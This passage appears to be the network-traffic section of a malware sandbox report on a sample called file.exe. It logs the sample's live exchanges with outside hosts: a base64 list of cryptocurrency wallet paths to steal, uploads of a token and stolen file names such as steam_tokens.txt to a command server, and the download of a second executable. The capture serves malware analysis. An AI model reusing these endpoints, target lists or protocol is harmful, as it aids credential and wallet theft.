Nov 21, 2024 19:58:55.743473053 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 21, 2024 19:58:56.057531118 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCF Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 2d 2d 0d 0a Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="message"files------HIIIEGDBKJKEBGCBAFCF--
Nov 21, 2024 19:58:56.515033960 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 19:58:56.528404951 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="file"------GCGDHJDAFHJEBFIDAFHI--
Nov 21, 2024 19:58:57.486357927 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 19:58:57.518594980 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="message"ybncbhylepme------JEGHDAFIDGDAAKEBFHDA--
Nov 21, 2024 19:58:57.982069016 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49831	185.215.113.16	80	5612	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 19:58:58.109200954 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 21, 2024 19:58:59.508631945 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 18:58:59 GMT Content-Type: application/octet-stream Content-Length: 1908224 Last-Modified: Thu, 21 Nov 2024 18:41:56 GMT Connection: keep-alive ETag: "673f7ef4-1d1e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0K@`Ka@WkH KK @.rsrcH@.idata @ p*@cimbrsfq 1@tyuvqqsb K@.taggant00K"@
Nov 21, 2024 19:58:59.508687019 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 19:58:59.510035992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 19:58:59.510042906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 19:58:59.510049105 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 19:58:59.510364056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 19:58:59.510416985 CET	1236	IN	Data Raw: 07 e0 66 90 06 ce 11 f2 8c 31 41 7b 08 c5 2c a7 c5 11 41 ef 17 44 65 93 58 53 86 c0 4a 1d 23 2e 19 c1 10 b2 01 4d 9f bf 16 15 43 b1 85 75 21 af d4 43 12 bf be 25 4e e7 25 81 6e 09 87 11 09 72 b3 31 50 cb fe 91 43 b5 45 75 41 6f 07 c4 bb 61 4f 01 Data Ascii: f1A{,ADeXSJ#.MCu!C%N%nr1PCEuAoaO :OCuA/j#y~js%fRV.)79-9r&`:*zNuARq _-99Oa /'a5[yJ52N{3oIR?
Nov 21, 2024 19:58:59.510426998 CET	248	IN	Data Raw: 2a 6d f0 72 d2 b9 4d 83 bc e9 f7 3f c1 00 56 3f be f7 3b 13 fc e1 3c cf 5c b0 d5 47 aa 27 14 65 9f 3e fb 9e 6c fa c4 b2 c3 4f 03 22 a3 09 f0 41 fb d2 21 ef 82 e2 64 0c 0b 37 03 cf 2c 8c 6a f6 36 09 07 02 b7 13 e7 db c7 6a 38 a8 54 21 8d 0c 38 d6 Data Ascii: *mrM?V?;<\G'e>lO"A!d7,j6j8T!8<M"0HX=2B7BPQ:{HurOY6hGNNsX[CZ\B#A6mAUWgzZFjW'<?)1Y=T<K
Nov 21, 2024 19:58:59.511959076 CET	1236	IN	Data Raw: 3a 04 67 b1 eb 39 c9 72 39 f3 3e 2b a3 76 07 3b fc 6d 97 a3 11 74 ce 7e 79 81 c6 6f 06 54 c0 03 6c 06 da 85 e9 01 0e 96 74 f9 4d 0c 00 09 f8 4d 57 28 fe b4 56 f5 08 ac 0c 22 48 88 38 18 7f 3b 0f 33 12 18 23 71 53 56 8f 77 43 c2 a0 c1 df 6a 08 bd Data Ascii: :g9r9>+v;mt~yoTltMMW(V"H8;3#qSVwCjHw(Oza9<\|;:98dVH3OG:u0@?Qr(,A4U<}U,kRa9a1Gc:IFVxnt_4OKuj
Nov 21, 2024 19:58:59.512018919 CET	1236	IN	Data Raw: 54 f0 96 c5 30 91 f1 3e 54 7f d6 4f 5c 32 c0 f1 a6 a5 71 b2 c2 05 45 0b 8e 53 be eb f8 9f a6 b3 a4 d1 45 b7 77 f9 51 d5 4d 23 44 74 d7 ee 32 0f 9b 66 4e ad 7d f2 d5 09 e7 f0 ea 86 6d 59 b2 3a 00 27 10 3c 6f 35 70 0f 06 d9 99 16 88 87 ab 9d af ea Data Ascii: T0>TO\2qESEwQM#Dt2fN}mY:'<o5p>D(1B8zLk*yJ2AZjW\|l^w~llz+xoPO6ZsS}E:6QsvLQt8{lkI@"F#NF
Nov 21, 2024 19:58:59.628416061 CET	1236	IN	Data Raw: c9 65 3e 60 d8 f3 5a 7c 0d 12 8a c1 8f c1 64 0c e5 37 ff 9c 44 7c 54 41 48 43 e7 0b 5f b2 c6 86 87 f1 40 c6 fa 0c be 27 3f cb 01 4e df 4b 43 8d eb 76 24 b6 b7 93 f3 c0 d3 3c 08 a9 55 8e df f7 02 f4 cc 08 46 f5 5c de e0 b4 7a 7c fd d9 49 b2 2c db Data Ascii: e>`Z\|d7D\|TAHC_@'?NKCv$<UF\z\|I,NO^gaj!a`?a/7O:e2c\|cC9=){2~]A2Iazt:O'W-3[c'e#:l[V;yt~4HG"hw;I?@CK]}C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49834	185.215.113.206	80	5612	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 19:59:03.284353018 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 2d 2d 0d 0a Data Ascii: ------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGDGHJEHJJDAAAKEBGCF--
Nov 21, 2024 19:59:05.177578926 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	142.250.181.100	443	5584	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:25 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 18:58:26 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:26 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-TW2H38jgR83u6z4fByUQyw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 18:58:26 UTC	124	IN	Data Raw: 33 31 32 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 70 6f 74 69 66 79 20 77 72 61 70 70 65 64 20 32 30 32 34 22 2c 22 63 61 72 6e 65 67 69 65 20 6d 65 6c 6c 6f 6e 20 75 6e 69 76 65 72 73 69 74 79 20 66 72 65 65 20 74 75 69 74 69 6f 6e 22 2c 22 6d 6c 62 20 63 79 20 79 6f 75 6e 67 20 61 77 61 72 64 20 77 69 6e 6e 65 72 73 22 2c 22 76 69 6e 74 61 67 65 20 62 72 6f 6e 63 6f Data Ascii: 312)]}'["",["spotify wrapped 2024","carnegie mellon university free tuition","mlb cy young award winners","vintage bronco
2024-11-21 18:58:26 UTC	669	IN	Data Raw: 73 20 66 6f 72 64 20 6c 61 77 73 75 69 74 22 2c 22 67 61 6d 65 20 61 77 61 72 64 73 20 6e 6f 6d 69 6e 65 65 73 22 2c 22 70 6f 70 65 20 66 72 61 6e 63 69 73 20 63 61 72 6c 6f 20 61 63 75 74 69 73 22 2c 22 68 79 75 6e 64 61 69 20 69 6f 6e 69 71 20 39 20 65 6c 65 63 74 72 69 63 20 73 75 76 22 2c 22 6c 75 6d 61 20 69 73 6c 61 6e 64 20 73 74 65 61 6d 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 Data Ascii: s ford lawsuit","game awards nominees","pope francis carlo acutis","hyundai ioniq 9 electric suv","luma island steam"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u00
2024-11-21 18:58:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	142.250.181.100	443	5584	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:25 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49711	142.250.181.100	443	5584	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:25 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 18:58:26 UTC	1018	IN	HTTP/1.1 200 OK Version: 697903402 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 21 Nov 2024 18:58:26 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
